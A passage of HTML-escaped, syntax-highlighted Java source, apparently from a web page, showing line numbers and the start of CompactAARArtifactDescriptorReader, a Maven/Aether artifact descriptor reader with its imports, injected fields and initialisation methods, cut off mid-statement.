class=\"line\"\u003e223\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e224\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e225\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e226\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e227\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e228\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e229\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e230\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e231\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e232\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e233\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e234\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e235\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e236\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e237\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e238\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e239\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e240\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e241\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e242\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e243\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e244\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e245\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e246\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e247\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e248\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e249\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e250\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e251\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e252\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e253\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e254\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e255\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e256\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e257\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e258\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e259\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e260\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e261\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e262\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e263\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e264\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e265\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e266\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e267\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e268\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e269\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e270\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e271\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e272\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e273\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e274\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e275\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e276\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e277\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e278\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e279\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e280\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e281\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e282\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e283\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e284\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e285\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e286\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e287\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e288\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e289\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e290\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e291\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e292\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e293\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e294\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e295\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e296\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e297\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e298\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e299\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e300\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e301\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e302\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e303\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e304\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e305\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e306\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e307\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e308\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e309\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e310\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e311\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e312\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e313\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e314\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e315\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e316\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e317\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e318\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e319\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e320\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e321\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e322\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e323\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e324\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e325\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e326\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e327\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e328\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e329\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e330\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e331\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e332\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e333\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e334\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e335\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e336\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e337\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e338\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e339\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e340\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e341\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e342\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e343\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e344\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e345\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e346\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e347\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e348\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e349\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e350\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e351\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e352\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e353\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e354\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e355\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e356\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e357\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e358\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e359\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e360\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e361\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e362\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e363\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e364\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e365\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e366\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e367\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e368\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e369\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e370\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e371\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e372\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e373\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e374\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e375\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e376\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e377\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e378\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e379\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e380\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e381\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e382\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e383\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e384\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e385\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e386\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e387\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e388\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e389\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e390\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e391\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e392\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e393\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e394\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e395\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e396\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e397\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e398\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e399\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e400\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e401\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e402\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e403\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e404\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e405\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e406\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e407\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e408\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e409\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e410\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e411\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e412\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e413\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e414\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e415\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e416\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e417\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e418\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e419\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e420\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e421\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e422\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e423\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e424\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e425\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e426\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e427\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e428\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e429\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e430\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e431\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e432\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e433\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e434\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e435\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e436\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e437\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e438\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e439\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e440\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e441\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e442\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e443\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.DependencyManagement;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.DistributionManagement;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.License;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Model;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Prerequisites;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Relocation;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Repository;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.DefaultModelBuilderFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.DefaultModelBuildingRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.FileModelSource;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelBuilder;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelBuildingException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelBuildingRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelProblem;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.resolution.UnresolvableModelException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.repository.internal.ArtifactDescriptorUtils;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.codehaus.plexus.component.annotations.Component;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.codehaus.plexus.component.annotations.Requirement;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryEvent;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryEvent.EventType;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositorySystemSession;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RequestTrace;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.Artifact;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.ArtifactProperties;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.ArtifactType;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.ArtifactTypeRegistry;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.DefaultArtifact;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.DefaultArtifactType;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.graph.Dependency;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.graph.Exclusion;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.ArtifactDescriptorReader;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.ArtifactResolver;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.RemoteRepositoryManager;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.RepositoryEventDispatcher;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.VersionResolver;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.repository.WorkspaceRepository;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorPolicy;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorPolicyRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorResult;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactResolutionException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactResult;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.VersionRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.VersionResolutionException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.VersionResult;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.locator.Service;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.locator.ServiceLocator;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.log.Logger;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.log.LoggerFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.log.NullLoggerFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.transfer.ArtifactNotFoundException;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.lang.reflect.Field;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.ArrayList;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Collections;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.HashMap;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.LinkedHashMap;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.LinkedHashSet;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.List;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Map;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Properties;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Set;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.inject.Inject;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.inject.Named;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta\"\u003e@Named\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta\"\u003e@Component(role = ArtifactDescriptorReader.class)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eCompactAARArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorReader\u003c/span\u003e, Service \u0026#123;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@SuppressWarnings(\u0026quot;unused\u0026quot;)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement(role = LoggerFactory.class)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eLogger\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elogger\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e NullLoggerFactory.LOGGER;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e RemoteRepositoryManager remoteRepositoryManager;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e VersionResolver versionResolver;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e ArtifactResolver artifactResolver;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e RepositoryEventDispatcher repositoryEventDispatcher;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e ModelBuilder modelBuilder;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eCompactAARArtifactDescriptorReader\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// enable no-arg constructor\u003c/span\u003e\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Inject\u003c/span\u003e\u003cbr\u003e CompactAARArtifactDescriptorReader(RemoteRepositoryManager remoteRepositoryManager, VersionResolver versionResolver,\u003cbr\u003e ArtifactResolver artifactResolver, ModelBuilder modelBuilder,\u003cbr\u003e RepositoryEventDispatcher repositoryEventDispatcher, LoggerFactory loggerFactory) \u0026#123;\u003cbr\u003e setRemoteRepositoryManager(remoteRepositoryManager);\u003cbr\u003e setVersionResolver(versionResolver);\u003cbr\u003e setArtifactResolver(artifactResolver);\u003cbr\u003e setModelBuilder(modelBuilder);\u003cbr\u003e setLoggerFactory(loggerFactory);\u003cbr\u003e setRepositoryEventDispatcher(repositoryEventDispatcher);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003einitService\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ServiceLocator locator)\u003c/span\u003e \u0026#123;\u003cbr\u003e setLoggerFactory(locator.getService(LoggerFactory.class));\u003cbr\u003e setRemoteRepositoryManager(locator.getService(RemoteRepositoryManager.class));\u003cbr\u003e setVersionResolver(locator.getService(VersionResolver.class));\u003cbr\u003e setArtifactResolver(locator.getService(ArtifactResolver.class));\u003cbr\u003e setRepositoryEventDispatcher(locator.getService(RepositoryEventDispatcher.class));\u003cbr\u003e modelBuilder = 